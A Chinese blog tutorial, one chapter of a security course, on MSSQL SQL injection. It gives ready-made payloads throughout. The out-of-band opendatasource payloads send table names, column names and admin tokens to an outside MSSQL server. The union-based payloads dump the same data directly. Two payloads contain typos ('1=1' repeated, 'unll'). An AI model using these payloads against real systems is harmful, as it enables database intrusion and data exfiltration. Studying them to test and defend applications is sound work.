网络安全从入门到精通 (第五章-3) MSSQL反弹注入

本文内容:

  • MSSQL反弹注入使用场景
  • MSSQL反弹注入语句解析
  • MSSQL反弹注入具体流程
  • MSSQL显错注入具体流程

 

1,MSSQL反弹注入使用场景:

  1.前言:

    MSSQL注入攻击是最为复杂的数据库技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句早就了新颖独特的攻击思路。

  2.MSSQL反弹注入:

    明明是SQL注入点,却无法进行注入,注入工具猜解的速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是在注入攻击中常常遇到的问题。

    为了解以上这些疑难杂症,比较好的解决方法就是使用反弹注入技术,而反弹注入技术则需要依靠opendatasource函数的支持。

  3.反弹注入仅限于MSSQL数据库。

  4.MSSQL注入-反弹注入实际上就是把查询出来的数据发送到我们MSSQL服务器上,那么我们需要自己的MSSQL数据库和一个公网ip。

2,MSSQL反弹注入语句解析:

  1.联合查询为例:

    首先猜字段

    联合查询,要写union all

    判断输出点需要使用null去填充

    注释只有 --+(不要想着#)

  2.MSSQL语句:

    dbo.sysdatabases查询系统库

    sysobjects where xtype='u' 查询系统表

    syscolumns where id=‘指定sysobjects表中对应id值’

  3.函数

    opendatasource可以理解为使用此函数将当前数据库查询的结果发送到另一数据库服务器。

    语法:opendatasource (provider_name,init_string)。

      provider_name:注册用于访问数据源的OLEDB提供程序的UPROGID的名称,MSSQL的名称为SQLOLEDB。

      init_string:

        链接字符串

        链接地址,端口库、用户名、密码、数据库名。

        server=链接地址,端口;uid=用户名;pwd=密码;database=数据库名称

    举例:

      insert into opendatasource('sqloledb','server=; uid=; pwd=; database=').库名.dbo.表名 select * from admin --

3,MSSQL反弹注入具体流程:

  例题:SELECT* FROM NEWS WHERE id='1'

    1.判断是否存在sql注入:

      ' and 1=1 -- qwe 和 ' and 1=2 -- qwe

    2.查询表名:

      '; insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14D6922_aa_admin;pwd=12345678;database=DB_14D6922_aa').DB_14D6922_aa.dbo.t select id,name from sysobjects where xtype='u' --

    3.查询字段名:

      '; insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14D6922_aa_admin;pwd=12345678;database=DB_14D6922_aa').DB_14D6922_aa.dbo.t select id,name from syscolumns where id=1977058079 --

    4.查询数据:

      ';insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14D6922_aa_admin;pwd=12345678;database=DB_14D6922_aa').DB_14D6922_aa.dbo.t select null,token from admin --

4,MSSQL显错注入的具体流程:

  例题:SELECT* FROM NEWS WHERE id='1'

    1.判断是否存在sql注入:

      ' and 1=1 -- qwe 和 ' and 1=1 -- qwe

    2.判断页面字段数:

      ' order by 1…… -- qwe

    3.查看输出点:

      ' union all select null,null,null from admin -- qwe

    4.查询表名:

      ' union all select id,name,null from sysobjects where xtype='u' --qwe

    5.查询字段名:

      ' union all select null,name,null from syscolumns where id=1977058079 -- qwe

    6.查询数据:

      ' union all select unll,username,null from admin -- qwe

posted @ 2020-04-14 18:04  TheHIde  阅读(270)  评论(0编辑  收藏  举报